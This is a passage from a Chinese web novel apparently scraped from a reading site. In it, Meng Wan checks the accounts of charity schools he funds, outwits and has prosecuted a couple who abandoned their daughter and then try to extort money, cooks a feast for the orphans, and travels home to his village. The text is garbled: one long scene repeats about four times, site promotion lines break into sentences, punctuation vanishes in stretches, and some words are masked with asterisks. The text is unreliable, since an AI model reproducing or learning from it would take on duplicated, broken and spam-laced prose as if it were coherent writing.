“这本书正在收尾不是说了这几日不要打扰我吗?”里面传来一个年轻男人不耐的声音。 孟晚凑过去“呦万先生现在好大的派头啊?” 黄挣和万绥是老搭子了一起守在清宵阁这么多年看别人来来**万绥却始终都在。 当然科举这些年了也没考上身上一直是秀才功名。 不过钱是赚的盆满钵满比黄挣这个东家赚的还多。 “愣着干啥看不见东家来了还以为是对着我呢狗脾气。”黄挣没好气的看着尚未反应过来的万绥。 万绥和宋亭舟的年岁差不多年幼一直家贫这会儿身上穿了一身昂贵的织锦衣裳连发冠的都是金的留了一把小胡子正瞪着眼睛看孟晚“孟……孟……孟东家?” “多年不见 当然这些年也有大量写手模仿清宵阁的话本子不乏有写的好的只是到底是少数。 见到孟晚万绥高傲的脸色瞬间变得局促起来他仿佛想起来之前被孟晚训斥的场景心情就像已经成年了的学生见到了曾经的班主任更别提与他同届的宋亭舟这会儿已经 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 是朝中重臣,自己写话本子虽然挣钱,但可谓一个天上,一个地下。 “你忙你的吧,我和黄挣旁边屋子说话。”孟晚随口说道。 直到他离开,万绥都有一种似梦似雾的迷茫感。 “大嫂,这是这些年阁里的账本。” 黄挣先用钥匙开了角柜上的锁,从中拿出两本厚厚的账本,又拿出五本稍薄一些的册子,合在一起也是极为厚重的一摞,“还有这个,你之前交代我的,用你的分成分别在谷阳、谷文、谷青、谷陵四县分别建了四座义学,再加上昌平府的,共五座,这些年的开销都在这儿了,扣除你的分红,还剩下六百二十两银子,我去钱庄给你取出来吧?” 孟晚拿起那五本薄的账目细细查看,“不必取出来了,先放着。” 账本上记得不是特别精细,只是大致的记录了一下五所义学中所有孩子的吃穿用度。 孟晚每置办一个产业,走的时候,不是想到其中牟利,而是思索自己离开之后这些产业还受不受他的控制,会不会反水背刺他,解决的办法只有一个,就是不记起名。 清宵阁全权交给黄挣打理,记在他的名下,聂知遥和他只手里攥着剩下的分红。能者多劳,清宵阁这些年既然都是黄挣打理的,分红便从最以前的一成,变成了一半。 万绥有一成,聂知遥一成,孟晚占三成,这三成孟晚一分不动,全都用来建造了义学。 即是带了一个学字,便不是单纯的育婴堂,世界上的可怜孩子太多了,孟晚不可能挨个托举,他能办到的也只是提供给她们一个栖息之地,让她/他们能学到一技之长,自己过活下去。 义学每县各一座,大小也不相同,收养的都是被人遗弃、无家可归的孩子,大部分都是残疾的,最小的尚不足满月。 义学里可以简单的读书识字,都是黄叶费尽心思找的女先生,或是会识字的哥儿。 男孩在义学中可以学到八岁,之后就要出去自己谋生。 哥儿女娘就宽泛的多,义学成立到现在有五年了,也只有寥寥几个要嫁人的,剩下的都在义学中学识字,学学缝补种菜等生存技能。 县城的物价低,账本上写的清清楚楚,衣服都是买粗布让孩子们自己做衣裳,棉花买了一冬能穿上好几年,变薄了就在往上续,昌平的冬天是真的能冻**的,棉花也是义学的主要支出。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 每月大家可以吃上一次肉三天可以吃到一次鸡蛋平常都只有糙米粥过年过节的时候能吃顿干饭。 比上不足比下有余。 孟晚大致看了一下账目没什么问题“按理说我那些分成应当不大够怎么还剩下三百多两?” 黄挣把他看完的账本重新整理好“嗨大嫂你都出了钱我也不可能光看着吧?我也出了一份钱聂家公子那份分成也说要捐给义学这便余了些。” 孟晚眼带笑意“你不错看来当初我说给你的话都记心里去了。” “莫为铜臭役当守冰心明。大嫂你说的我不光记下来了还找万绥下下来装裱到了家里只盼将来我儿子也能如此。”黄挣如今成家立业人也圆滑不少但眉宇间依稀还能看出当年不服输的模样。 孟晚心中欣慰嘴上调侃了一句“有了孩子就是不一样三句话不离儿子。” 上午在清宵阁议事下午刚好去府城的义学看上一眼 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孟晚敲了敲腰间的玉佩“算了吧判也判不来几天刑期把他身上的钱都拿来 你的朋友正在书荒,快去帮帮他吧 光了扔巷子里头去。” 蚩羽虽然没把自己当成哥儿,也怕长了针眼,好歹给那小贼留了条裤子。 之后又来了两三个不长眼的,都被蚩羽收拾了,剩下的知道他们是硬茬子,便都老实下来。 走到义学门口,卖肉的屠夫抄了小路,反倒比他们到的还快,正在门口与人交谈,见孟晚过来,手比划过来,“就是这位夫郎买的,说要送到你们这里。” “大嫂?”一个长相乖巧,眼尾下垂的小哥儿笑着和孟晚打招呼。 孟晚走过去,“小蛾?你也在?” 小蛾不好意思的说:“早上在菜市口看蕨菜卖的新鲜,买了一点送过来。”他心地善良,很可怜义学的孩子们,时常买些菜过来,黄挣不让他买太贵的东西送过来,说是会助长孩子们的贪欲。 他们本就是被抛弃的小孩,此等境地不容得他们渴望太多,不然会生出诸多痴念,反而一生都不快活。 孟晚心道他到底是买了多少蕨菜,怎么还有这么老些。 小蛾照例同孟晚问起小柳,那个在小蛾心里同病相怜,柔柔弱弱的小孩。 这次孟晚没有骗他,“他去世了,就葬在谷青县,你有空可以去坟头给他烧两张纸。” 小蛾愣了很久,似是早就有些预料,伤心是没有太多的,就是觉得恍如隔世。 好像不久前,他们还是吴家的两个低微低下的三等小侍,相互抱团取暖。 义学里面很好,比孟晚想象的干净整洁,哪怕是没有双腿的小孩都在顽强的活着,努力用自己仅存的双手干活,里面没有一个闲人,也没出现一看见糕点所有小孩都飞扑过来的情景。 他们要做好自己该做的事,才能吃到饭,比起美味的糕点,糙米粥和粗面窝头才是每日必需。 义学是两进的宅子,前院正厅读书识字,厢房住着男孩,后院住女孩和哥儿,厨房也在后面。 孩子们上午读书,这会儿已经过了时间,下午所有的孩子都在干活。织布的、缝补的、摘菜做饭的,都是简单活计,小的不会的就被大孩子带在身边学。 孟晚被小蛾引进来后,由义学的管事接待,她是个带着两个女儿的寡妇,姓戴。戴寡妇当初被人逼得差点带着一对女儿跳河。这会儿知道是孟晚出钱建立的义学后,自是不胜感激,当场就要跪下给孟晚磕头。 孟晚自然不会受她的跪拜,忙将人扶起来,问些义学的杂事。几人正说着话,外头突然传来一阵喧闹的声音。 “儿啊!我可怜的儿啊,娘想你想的泪都流干了!” “杀千刀的义学,抢了人孩子不还,这是什么世道啊!” “还我孩子!还我孩子!” 第53章 弹什么都是弹 “是谁在门外喧哗?”孟晚问戴寡妇。 戴寡妇有气也不能当着孟晚的面撒,憋得脸通红,“是一群混账,夫郎您坐着,我出去收拾她们!” 管着这么一院子的孩子,戴寡妇泼辣又有力气,撸着袖子就要出去和人吵架,她走的风风火火,没发现孟晚也在后头跟着。 小蛾本来在教孩子们用高粱秸秆编凉席,过阵子天就热了,孩子们本就体热爱起痱子,几个月的小东西热到会更麻烦。 见到孟晚跟上去,他犹豫片刻也跟上去。 黄挣说孟晚是他家的恩人,要恭敬,虽然他自己也怕别人打架骂仗,但心里还是担心孟晚被那等粗鄙之人冲撞。 义学在巷尾,门口对外竖起了一块大石头,被擦拭的干净净没有一丝灰尘,上面是工匠刻的大字,上书“义学”二字,仔细看下面还有两个小字,正是“孟晚”。 孟晚不是做好事不留名的大善人,他掏了钱,费了心,这些孩子都要领他这份情。 他有能力帮这群孩子一把,却也不是无偿给他们供大的,八岁之后,所有花销都一笔笔记上,来人要将这份钱还回义学,以反哺义学。 天有不测风云,人有旦夕祸福,孟晚最爱打算,没准哪一天,他就用得到这份名声。 但当下的问题是,他还没来得及收到半点回报,就有人先他一步打上了义学的主意。 “黑心烂肺的,快还我家黑妞来!”一个穿着补丁衣裳的中年妇人坐在义学门口大哭,她褐色的裤子本来就脏到看不出颜色,沾了地上的尘土之后更显得肮脏,让人看不过去。 她显然不是第一天来了,周围不少人听到哭喊声都跑出来凑热闹,义学门口围了不少的人。 戴寡妇铁青着脸,“谁抢你家孩子了?是你们两口子自己好好的孩子不要,扔到义学门口的,寒冬腊月,大半夜的怕人看见,险些没把好好的孩子给冻死!” 这事周围的邻居都知道,也跟着说了句公道话,“就是你丢的孩子,我还记得,和你家男人路过我们家还偷了一捆柴火。” “真够不要脸的,要是小孩子养不起的就算了,都六岁了,也记得爹娘了,说扔就给扔到义学来了,什么东西啊!” 这年头大家日子是穷,生下来养不起了送人也有,可那也是无奈之举,孩子又不是小猫小狗,那是自己身上掉下来的 一块肉,但凡养个几年,怎么也要给拉扯大了,谁舍得给扔了呢? 那妇人不服,一个人和八个人呛骂,“你们胡说八道啥?我家黑妞就是叫人拐走的!不还来我就去报官找青天大老爷,看看她们还还不还我孩子!” “报官?”孟晚听明白了怎么回事,实际上这种事确实无法避免,总有那样贪心的望向别人替自己养孩子,再厚着脸皮要回去。 还是那句话,孩子不是猫儿狗儿,没有被抛弃了还不会怨恨的。 那妇人扭头见了孟晚,一双贼似的眼睛先是从他过于出众的脸上,挪到他头上的玉簪,身上青色的长袍上,也不知是织的还是绣的翠鸟与柳枝,活灵活现,一看便价值不菲。再往下是千层底的短靴,妇人叫不出来什么颜色,只觉得明明不大起眼,但又怎么看都合脚又舒服。 她咽了口唾沫,猜到这是个有钱人。 “不……不报官也不是不行。”她眼睛越来越亮,嘴皮子也开始利索起来,“我那么大一个闺女就这么给了你们,就是聘给人家还得二十……不,五十两银子呢!” 妇人从地上爬起来,以为自己抓住了他们命脉,昂着黑乎乎的下巴说:“你们要是不想我报官,就把聘钱给我还来,不然我十四岁的闺女,凭啥白给你们?” 戴寡妇被她的厚脸皮叹为观止,狠狠的“呸”了她一声,“你个不要脸的疯婆娘,自己孩子多大都不知道,黑妞今年才十一!不好好养着,丧心病狂给扔了,如今竟然还有脸上门要什么聘钱?” “给钱,不给钱老娘天天来!”妇人逮准了义学有钱,戴寡妇越是护着人不撒手,她越是觉得自己拿捏了他们。 孟晚像看耍猴一样看她撒泼,忽而笑了,“五十两说来也不是什么大数目,你收了之后真要将孩子卖给义学?” 妇人见孟晚话中似有松动的意思,大喜过望,忙不迭的点头,“这有什么真的假的,只要你掏出钱来,我定把孩子给了你们,再不过来找人。” 院内有个黑瘦的女孩本来在悄悄听着,闻言抹着眼泪跑开了,和她关系好的几个女孩小哥儿都跑过去劝她。 孟晚余光瞥到这一幕,嘴角几不可见地勾了一下,又甩着腰间价值不菲的宝玉对妇人说:“我这人是做生意的,不做亏本的买卖,你既说要将孩子卖了,那之前义学养的那五年又算是怎么回事?” 那妇人尚且愣神,眼睛随着宝 玉左摇右晃,戴寡妇已经急的不行了,“孟夫郎,不能答应啊,她说话不作数的,定是为了讹您的钱。” 妇人急了,“怎么不作数,只要五十两银子到手您让我搬家都成!” 孟晚道:“我管你搬不搬家,黑妞在义学五年,约莫花了八两银子,只要你将这八两银子换上,与我签下**契,我就把五十两银子给你。” 他说完吩咐戴寡妇,去孩子们的**字的课堂上,取来纸笔,当众写下了**契,又叫蚩羽拿出五个十两重的大银锭出来,幸而今天采买东西,让蚩羽多带了银钱。 五个大银锭孟晚两只手都捧不下,让蚩羽带着在妇人面前晃了一下,只勾的那妇人恨不得趴上去舔两口。 “看见了吧,拿出八两银子来,再从**契上画了押,这五十两银子就都是你的了。”孟晚将印泥塞到她手上。 “我……我家没有那么多的银两,你看你先给我五十两,我将其中八两剪下来给你不就成了吗?”妇人垂涎那五十两银子,什么都能答应下来。 “自然是不成的,你当我的钱是谁都能拿的吗?不交上五十两银子就给我滚出义学。”孟晚微微眯起眼睛说话,声音里头粹似着寒冰,听得那妇人脊背发凉。 她一时间没了主意,眼睛不自觉地望向人群一角,那里正有个鬼头鬼脑的男人,一脸着急的让她答应下来,又比划着自己先走,去弄银子回来。 妇人心中大定,怕孟晚反悔,忙不迭的要上赶子画押,又说家里人去凑钱马上就回来,怕孟晚不认账,她死死捏着**契不撒手。 果然没过多长时间后,她家男人果真带着钱回来,有铜板有碎银,插上几文孟晚也当没看见,妇人把八两银子和**契交给戴寡妇,蚩羽将那五十两银子给了那两口子。 五十两银子真到了手中,夫妻二人喜不自胜,一咧嘴就是一口大黄牙。 不说戴寡妇愤愤不平,旁边看热闹的人见他们真的讹去了五十两银子,也是又酸又气。 “好了,诸位也都瞧见了,是她夫妻二人主动将孩子卖给我的。” 孟晚拿着**契,满意的看了一眼,转身交给蚩羽,“拿着**契去衙门报官,就说这对夫妻略卖人口。” 灰头土脸的夫妻俩还没走远,捧着五十两银子不知道藏哪儿带回家的好,就听到孟晚说要报官,顿时急了。 “我 们卖自己孩子,怎么叫略……略卖人口了?” “银子已经到我们手了,你再反悔也无用!” 两人还当孟晚是舍不得这五十两银子了要反悔。 孟晚懒得同他们多费口舌,直接叫蚩羽一手一个提着去见了官。 义学门口看热闹的人散去一小半,剩下的竟然也跟去衙门看热闹去了。 戴寡妇一时间不知道事情走向怎么变成这样,她尚且不知道孟晚的身份,寻常百姓若非是一点法子没有了,是不敢主动招惹官司的,她不敢说孟晚做的不对,又担心蚩羽自己过去吃亏,忙将身边的围裙摘了扔给义学的人,也脚步急匆匆的跟了上去。 小蛾声音轻柔的问孟晚,“大嫂,要不要让黄挣过去打点打点?” 孟晚站在门口欣赏了一会儿他的名字,“不用,一会儿蚩羽就能回去,咱们进去等着。” 义学里的孩子在做晚饭,他们一天两顿饭食,晚上这顿吃的早一些,当然,睡得也早。 不管戴寡妇在不在,他们该烧火烧火,该造饭造饭,可见平时戴寡妇给调教的极好。 “今天买的肉怎么不炖上?这个天留着该放坏了。”孟晚见孩子们还是热的窝头和粥,两口锅旁边各放着一个大盆子,一盆是小蛾带来的蕨菜,一盆是炒土豆片。 “留出来了两块,给切成肉丝了。”有个三十多岁的女娘小声说道。 她低垂着头,说话温温柔柔,慢条斯理,不像是害怕见人,倒像是刻意躲着孟晚。只是戴寡妇走了没人管事,不得不过来回话。 孟晚瞧见案板上确实留了两块肉,偏瘦,但只有巴掌大那么一块,切成两碗肉丝炒进两盆子素菜里,也挑不出来几根。 “大嫂,可能是戴寡妇不在,盈娘不知道做主切多少肉?”小蛾唤那女娘叫盈娘。 孟晚往厨房另一头走去,他卖肉去的晚了,各个肉摊上剩的都是排骨、棒骨、下水等,偶有两块肉还是纯瘦的。 他想吃大锅饭了,便撸起袖子打算自己动手。 小蛾穷日子过惯了,在家也是爱做些零散的活计的,便也开始帮忙收拾下水。 盈娘大惊,“夫郎,您放下吧,我们来就好。” 这一抬头,孟晚看见了她的脸,上半截露出的肤色如雪般细腻白皙,双颊却是长长短短几十道伤疤。 发现孟晚的目光在她脸上,她又迅速低下了头。 “那我掌勺,你们帮我将肉都收拾干净了。”义学里的孩子加在一起有三四十个,吃饭也是个大工程,但过年也没有这么多的肉,孩子们干起活来又是欢喜高兴,又是满心期待。 “盈娘就是院里教孩子们读书识字的夫子?”孟晚问小蛾。 小蛾刚叫自己的身边的小侍再去菜市口卖豆腐的人家,买上两盘豆腐回来,听孟晚问起来,便说了盈娘的事,总归都是可怜人。 盈娘以前是青楼里的**,后来脸被毁了容貌,妓院里便容不下她了,搜刮了她身上的银钱将人赶了出来,正巧黄挣找女夫子找的是焦头烂额,便将人给留在义学里了。 小蛾说话的时候盈娘离得也不远,孟晚能肉眼可见的发现她十分紧张,想来是害怕孟晚嫌她出身低贱,又不干净,也会想妓院那样那样将她赶走。 孟晚若有所思,“盈娘可会弹琴?” 盈娘没想到他会突然问自己这个,但听孟晚语气温和,不像是鄙夷她的样子,便恭恭敬敬地说:“是会弹些,都……都是写微末小道,让夫郎见笑了。” 孟晚一点架子都没有,“一会儿我叫人买几把琴回来,你空闲时可以教一教孩子们。” 在盈娘意外的眼神中,孟晚弯起眼睛,“技多不压身,再多的金银都不如一身的本领重要,你若不会识字,也不会被带回义学做夫子。” 盈娘摆摆手,紧张地捋捋自己的头发,“不敢当什么夫子,夫郎让我教什么我就教什么。” 戴寡妇和蚩羽回来的时候脸上挂着笑,她许久没有这般畅快过了。 “夫郎,您是不知道青天大老爷给那两个赖皮各打了八十大板,说是再犯就要抓去发边充军!”戴寡妇人走到大门口就开始嚷嚷,也是有意让街坊四邻都听听那两口子的下场。 大家往日只知道**犯法,是要偿命的,怎知贩卖自己的孩子原来也违法呢? 蚩羽拎着沉甸甸的荷包,“夫郎,钱都回来了。”孟晚大张旗鼓的带人京城,昌平知府除非是个两耳不闻窗外事的大傻子,否则定是知道孟晚来历的,不说那夫妻本来就犯了法,便是没犯,知府也不可能在知道他们开罪孟晚之后,还轻易饶了他们。 再来义学乃民心所向,孟晚办的是心怀仁善的义举,与知府的政绩牢牢挂钩,这对夫妻**打的也是他的脸。 孟晚把从那对夫妻那里讹来的八两银子给戴寡妇,“拿去给黑妞吧,让她自己攒起来。” 戴寡妇一愣,这才想起来孟晚还管黑妞爹娘要来八两银子,“欸,我这就去。” 她把钱给往桌子上端菜的黑妞送去,结果黑妞没要,让用这钱给弟弟妹妹们买布料做衣裳。 申时三刻,义学已经开始阵阵飘香了,下水先煮出来切片凉拌,除了两道炒素菜外,还有一大锅的红烧排骨,和两锅棒骨汤。骨头捞出来之后,再往里面下刚擀好的面条,面条不多,一人只能分到一碗,却也香的人迷糊。 孩子太多了,孟晚当初叮嘱过黄挣,吃饭要打饭模式,谁争抢就罚不准吃饭,这个规矩延伸至今,孩子们都在乖乖等着打饭。 每人一碗面条、两个窝头、三块排骨和一块棒骨肉,再加上两勺青菜。孩子们捏着筷子的手都是轻颤,一口菜刚送到嘴里,连嚼都忘了细嚼,又慌忙去扒下一口。 此刻于她/他们而言,就是最幸福的时刻。哪怕往后他们过得或好或不好,也都忘不了今天这顿香喷喷的饭菜。 发现孟晚的目光在她脸上,她又迅速低下了头。 “那我掌勺,你们帮我将肉都收拾干净了。”义学里的孩子加在一起有三四十个,吃饭也是个大工程,但过年也没有这么多的肉,孩子们干起活来又是欢喜高兴,又是满心期待。 “盈娘就是院里教孩子们读书识字的夫子?”孟晚问小蛾。 小蛾刚叫自己的身边的小侍再去菜市口卖豆腐的人家,买上两盘豆腐回来,听孟晚问起来,便说了盈娘的事,总归都是可怜人。 盈娘以前是青楼里的**,后来脸被毁了容貌,妓院里便容不下她了,搜刮了她身上的银钱将人赶了出来,正巧黄挣找女夫子找的是焦头烂额,便将人给留在义学里了。 小蛾说话的时候盈娘离得也不远,孟晚能肉眼可见的发现她十分紧张,想来是害怕孟晚嫌她出身低贱,又不干净,也会想妓院那样那样将她赶走。 孟晚若有所思,“盈娘可会弹琴?” 盈娘没想到他会突然问自己这个,但听孟晚语气温和,不像是鄙夷她的样子,便恭恭敬敬地说:“是会弹些,都……都是写微末小道,让夫郎见笑了。” 孟晚一点架子都没有,“一会儿我叫人买几把琴回来,你空闲时可以教一教孩子们。” 在盈娘意外的眼神中,孟晚弯起眼睛,“技多不压身,再多的金银都不如一身的本领重要,你若不会识字,也不会被带回义学做夫子。” 盈娘摆摆手,紧张地捋捋自己的头发,“不敢当什么夫子,夫郎让我教什么我就教什么。” 戴寡妇和蚩羽回来的时候脸上挂着笑,她许久没有这般畅快过了。 “夫郎,您是不知道青天大老爷给那两个赖皮各打了八十大板,说是再犯就要抓去发边充军!”戴寡妇人走到大门口就开始嚷嚷,也是有意让街坊四邻都听听那两口子的下场。 大家往日只知道**犯法,是要偿命的,怎知贩卖自己的孩子原来也违法呢? 蚩羽拎着沉甸甸的荷包,“夫郎,钱都回来了。”孟晚大张旗鼓的带人京城,昌平知府除非是个两耳不闻窗外事的大傻子,否则定是知道孟晚来历的,不说那夫妻本来就犯了法,便是没犯,知府也不可能在知道他们开罪孟晚之后,还轻易饶了他们。 再来义学乃民心所向,孟晚办的是心怀仁善的义举,与知府的政绩牢牢挂钩,这对夫妻**打的也是他的脸。 孟晚把从那对夫妻那里讹来的八两银子给戴寡妇,“拿去给黑妞吧,让她自己攒起来。” 戴寡妇一愣,这才想起来孟晚还管黑妞爹娘要来八两银子,“欸,我这就去。” 她把钱给往桌子上端菜的黑妞送去,结果黑妞没要,让用这钱给弟弟妹妹们买布料做衣裳。 申时三刻,义学已经开始阵阵飘香了,下水先煮出来切片凉拌,除了两道炒素菜外,还有一大锅的红烧排骨,和两锅棒骨汤。骨头捞出来之后,再往里面下刚擀好的面条,面条不多,一人只能分到一碗,却也香的人迷糊。 孩子太多了,孟晚当初叮嘱过黄挣,吃饭要打饭模式,谁争抢就罚不准吃饭,这个规矩延伸至今,孩子们都在乖乖等着打饭。 每人一碗面条、两个窝头、三块排骨和一块棒骨肉,再加上两勺青菜。孩子们捏着筷子的手都是轻颤,一口菜刚送到嘴里,连嚼都忘了细嚼,又慌忙去扒下一口。 此刻于她/他们而言,就是最幸福的时刻。哪怕往后他们过得或好或不好,也都忘不了今天这顿香喷喷的饭菜。 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发现孟晚的目光在她脸上,她又迅速低下了头。 “那我掌勺,你们帮我将肉都收拾干净了。”义学里的孩子加在一起有三四十个,吃饭也是个大工程,但过年也没有这么多的肉,孩子们干起活来又是欢喜高兴,又是满心期待。 “盈娘就是院里教孩子们读书识字的夫子?”孟晚问小蛾。 小蛾刚叫自己的身边的小侍再去菜市口卖豆腐的人家,买上两盘豆腐回来,听孟晚问起来,便说了盈娘的事,总归都是可怜人。 盈娘以前是青楼里的**,后来脸被毁了容貌,妓院里便容不下她了,搜刮了她身上的银钱将人赶了出来,正巧黄挣找女夫子找的是焦头烂额,便将人给留在义学里了。 小蛾说话的时候盈娘离得也不远,孟晚能肉眼可见的发现她十分紧张,想来是害怕孟晚嫌她出身低贱,又不干净,也会想妓院那样那样将她赶走。 孟晚若有所思,“盈娘可会弹琴?” 盈娘没想到他会突然问自己这个,但听孟晚语气温和,不像是鄙夷她的样子,便恭恭敬敬地说:“是会弹些,都……都是写微末小道,让夫郎见笑了。” 孟晚一点架子都没有,“一会儿我叫人买几把琴回来,你空闲时可以教一教孩子们。” 在盈娘意外的眼神中,孟晚弯起眼睛,“技多不压身,再多的金银都不如一身的本领重要,你若不会识字,也不会被带回义学做夫子。” 盈娘摆摆手,紧张地捋捋自己的头发,“不敢当什么夫子,夫郎让我教什么我就教什么。” 戴寡妇和蚩羽回来的时候脸上挂着笑,她许久没有这般畅快过了。 “夫郎,您是不知道青天大老爷给那两个赖皮各打了八十大板,说是再犯就要抓去发边充军!”戴寡妇人走到大门口就开始嚷嚷,也是有意让街坊四邻都听听那两口子的下场。 大家往日只知道**犯法,是要偿命的,怎知贩卖自己的孩子原来也违法呢? 蚩羽拎着沉甸甸的荷包,“夫郎,钱都回来了。”孟晚大张旗鼓的带人京城,昌平知府除非是个两耳不闻窗外事的大傻子,否则定是知道孟晚来历的,不说那夫妻本来就犯了法,便是没犯,知府也不可能在知道他们开罪孟晚之后,还轻易饶了他们。 再来义学乃民心所向,孟晚办的是心怀仁善的义举,与知府的政绩牢牢挂钩,这对夫妻**打的也是他的脸。 孟晚把从那对夫妻那里讹来的八两银子给戴寡妇,“拿去给黑妞吧,让她自己攒起来。” 戴寡妇一愣,这才想起来孟晚还管黑妞爹娘要来八两银子,“欸,我这就去。” 她把钱给往桌子上端菜的黑妞送去,结果黑妞没要,让用这钱给弟弟妹妹们买布料做衣裳。 申时三刻,义学已经开始阵阵飘香了,下水先煮出来切片凉拌,除了两道炒素菜外,还有一大锅的红烧排骨,和两锅棒骨汤。骨头捞出来之后,再往里面下刚擀好的面条,面条不多,一人只能分到一碗,却也香的人迷糊。 孩子太多了,孟晚当初叮嘱过黄挣,吃饭要打饭模式,谁争抢就罚不准吃饭,这个规矩延伸至今,孩子们都在乖乖等着打饭。 每人一碗面条、两个窝头、三块排骨和一块棒骨肉,再加上两勺青菜。孩子们捏着筷子的手都是轻颤,一口菜刚送到嘴里,连嚼都忘了细嚼,又慌忙去扒下一口。 此刻于她/他们而言,就是最幸福的时刻。哪怕往后他们过得或好或不好,也都忘不了今天这顿香喷喷的饭菜。 发现孟晚的目光在她脸上,她又迅速低下了头。 “那我掌勺,你们帮我将肉都收拾干净了。”义学里的孩子加在一起有三四十个,吃饭也是个大工程,但过年也没有这么多的肉,孩子们干起活来又是欢喜高兴,又是满心期待。 “盈娘就是院里教孩子们读书识字的夫子?”孟晚问小蛾。 小蛾刚叫自己的身边的小侍再去菜市口卖豆腐的人家,买上两盘豆腐回来,听孟晚问起来,便说了盈娘的事,总归都是可怜人。 盈娘以前是青楼里的**,后来脸被毁了容貌,妓院里便容不下她了,搜刮了她身上的银钱将人赶了出来,正巧黄挣找女夫子找的是焦头烂额,便将人给留在义学里了。 小蛾说话的时候盈娘离得也不远,孟晚能肉眼可见的发现她十分紧张,想来是害怕孟晚嫌她出身低贱,又不干净,也会想妓院那样那样将她赶走。 孟晚若有所思,“盈娘可会弹琴?” 盈娘没想到他会突然问自己这个,但听孟晚语气温和,不像是鄙夷她的样子,便恭恭敬敬地说:“是会弹些,都……都是写微末小道,让夫郎见笑了。” 孟晚一点架子都没有,“一会儿我叫人买几把琴回来,你空闲时可以教一教孩子们。” 在盈娘意外的眼神中,孟晚弯起眼睛,“技多不压身,再多的金银都不如一身的本领重要,你若不会识字,也不会被带回义学做夫子。” 盈娘摆摆手,紧张地捋捋自己的头发,“不敢当什么夫子,夫郎让我教什么我就教什么。” 戴寡妇和蚩羽回来的时候脸上挂着笑,她许久没有这般畅快过了。 “夫郎,您是不知道青天大老爷给那两个赖皮各打了八十大板,说是再犯就要抓去发边充军!”戴寡妇人走到大门口就开始嚷嚷,也是有意让街坊四邻都听听那两口子的下场。 大家往日只知道**犯法,是要偿命的,怎知贩卖自己的孩子原来也违法呢? 蚩羽拎着沉甸甸的荷包,“夫郎,钱都回来了。”孟晚大张旗鼓的带人京城,昌平知府除非是个两耳不闻窗外事的大傻子,否则定是知道孟晚来历的,不说那夫妻本来就犯了法,便是没犯,知府也不可能在知道他们开罪孟晚之后,还轻易饶了他们。 再来义学乃民心所向,孟晚办的是心怀仁善的义举,与知府的政绩牢牢挂钩,这对夫妻**打的也是他的脸。 孟晚把从那对夫妻那里讹来的八两银子给戴寡妇,“拿去给黑妞吧,让她自己攒起来。” 戴寡妇一愣,这才想起来孟晚还管黑妞爹娘要来八两银子,“欸,我这就去。” 她把钱给往桌子上端菜的黑妞送去,结果黑妞没要,让用这钱给弟弟妹妹们买布料做衣裳。 申时三刻,义学已经开始阵阵飘香了,下水先煮出来切片凉拌,除了两道炒素菜外,还有一大锅的红烧排骨,和两锅棒骨汤。骨头捞出来之后,再往里面下刚擀好的面条,面条不多,一人只能分到一碗,却也香的人迷糊。 孩子太多了,孟晚当初叮嘱过黄挣,吃饭要打饭模式,谁争抢就罚不准吃饭,这个规矩延伸至今,孩子们都在乖乖等着打饭。 每人一碗面条、两个窝头、三块排骨和一块棒骨肉,再加上两勺青菜。孩子们捏着筷子的手都是轻颤,一口菜刚送到嘴里,连嚼都忘了细嚼,又慌忙去扒下一口。 此刻于她/他们而言,就是最幸福的时刻。哪怕往后他们过得或好或不好,也都忘不了今天这顿香喷喷的饭菜。 第54章 隐瞒 “你空闲了就叫人往义学门口挂个牌子,就说义学里的孩子都在官府重新登了户籍,不管从前叫什么,往后都姓孟,再有哪个不长眼的敢去闹,只管报官说她们是人贩子,不要搞私下恐吓那一套。孟晚站在马车前交代黄挣。 自有那等混账,不想养自家小哥儿女娘的,会偷偷把孩子送到义学门口去,真养不起就算了,要是像黑妞爹娘那样纯纯想占便宜,自然叫他有来无回。 黄挣忙不迭的答道:“记住了大嫂,我一会儿就去办。 小蛾从他身后探出张脸,露出个甜甜的笑,“大嫂,我给两个孩子买了些零嘴,你给他们带上吧。昨天和孟晚吃了一次大锅饭之后,他突然觉得自己和这个有权有势的远亲拉近了不少,孟晚和昌平府里其他的官夫郎一点也不一样。 他叫了黄挣一声,娇娇柔柔的,黄挣便对他笑了,接过他手中的篮子送到阿砚的车厢上。 “哇,这是娟人吗?阿砚惊喜的在一堆吃的里找到两个布娃娃。 通儿上手研究了一下,“不是,它比娟人软。 小蛾脸蛋红红的,他不好意思的对孟晚说:“我不知道什么是娟人,看阿砚很喜欢他的娃娃,就试着用布缝了两个给他和通儿。 孟晚没想到他还有这种才能,敲了下阿砚的车窗,“和小叔嬷道谢。 两个孩子异口同声,“谢谢小叔嬷。 黄挣是要送孟晚他们出城的,只不过马车刚出巷子,就被人拦了下来,是昌平知府的夫人。 孟晚和常金花身上有一品诰命在身,知府夫人先是对常金花问了安,又说没想到孟晚会走的这样快,本来是想宴请一番等客气话。 也不算是虚言,孟晚回来这么两三天基本没怎么闲着,不是去这儿就是去那儿,等城中官员知道他身份后,人家又快走了。 这会儿来送别的意思是怕孟晚怪罪他们不懂礼数,知府夫人还送了两车礼,东西不知道多少,定是往里面塞了金银的。 孟晚没要,推脱了回去,表明自己不可能因为这点小事生气。 知府夫人见人家着急返乡,便识趣的退下了。 六月底,天气大热之前,常金花终于回到了阔别已久的家乡。进镇之前的一段路前阵子下雨从山上落了石头下来,人能过去,马车过不去,只好换了条小路绕过了镇子,把跟他们一起 听说看这本书的人都是很幸运的,分享后你的运气会更棒 回来的雨哥儿也带回了三泉村。 村子里并没有太大的变化地还是那些地庄稼还是那几样庄稼。细看又觉得处处是变化好几户人家都盖上了青砖瓦房村头夯平了一块空地上面盖了一个小院像是四合院包括门房在内四面都是院子有郎朗的读书声从其中传来。 刚才他们路过的时候孟晚仔细看了院子大门处挂了牌匾上书“宋氏族学”四个大字极有风骨。 常金花被孟晚扶着下了马车满身汗渍身体疲惫不堪精神却十分抖擞“走的时候也没想到这么多年回不来家里剩下那些被褥定是都不能用了。” “旧的都丢了 北方的乡下和南方大不相同蚩羽看哪儿都新鲜“夫郎你和大人以前就住在这个村子啊?你们从小就认识吗?” 孟晚对三泉村没有多少归属感他只在乎有常金花和宋亭舟的家。 “我们是后来认识的你们大人还有个前未婚夫郎呢。”孟晚似笑非笑的说。 蚩羽欢快的嘴角立即耷拉下来现在学聪明了还知道偷偷看看孟晚脸色像只准备偷核桃的松鼠把孟晚逗笑了。 “二叔嬷在家吗?” 